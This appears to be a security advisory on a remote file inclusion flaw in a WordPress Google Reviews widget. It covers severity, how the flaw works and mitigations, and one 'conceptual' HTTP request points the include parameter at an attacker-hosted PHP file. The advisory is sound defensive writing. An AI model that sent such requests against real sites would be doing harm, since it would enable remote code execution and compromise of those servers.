Overview
Today, we’re diving into the details of a significant security flaw, CVE-2025-53565, a PHP Remote File Inclusion vulnerability found in the RadiusTheme Widget for Google Reviews. This vulnerability affects all versions up to and including 1.0.15 and poses a significant threat to the security of any websites using this widget. This technical flaw allows an attacker to include remote PHP files, potentially leading to system compromise or data leakage. Therefore, understanding this vulnerability and how to mitigate its impact is critical for system administrators and web developers alike.
Vulnerability Summary
CVE ID: CVE-2025-53565
Severity: High (8.1 CVSS v3 Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
RadiusTheme Widget for Google Reviews | n/a through 1.0.15
How the Exploit Works
The PHP Remote File Inclusion vulnerability is a common type of vulnerability that occurs when a PHP script uses user-controlled data without proper validation in a ‘require’ or ‘include’ function. This can allow an attacker to inject a file from a remote server, which then gets executed in the context of the attacked application. In the case of CVE-2025-53565, the vulnerability resides in the RadiusTheme Widget for Google Reviews, which fails to properly validate the filename for the ‘include’ statement.
Conceptual Example Code
Here’s a conceptual example of how this vulnerability might be exploited using a malicious URL:
GET /vulnerable_widget.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.comIn this example, the attacker tricks the application into requesting a malicious PHP file (‘malicious_file.php’) from the attacker’s server (‘attacker.com’). The server then includes this file in its response, which is subsequently executed by the PHP engine on the target server, potentially leading to system compromise or data leakage.
Mitigation Guidance
To protect your systems from this vulnerability, apply the vendor patch as soon as it becomes available. In the meantime, consider using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation measure. These can be configured to block or alert on any attempts to exploit this vulnerability. Also, always remember to validate and sanitize all user inputs, especially those used in file include statements, to prevent such vulnerabilities in the first place.
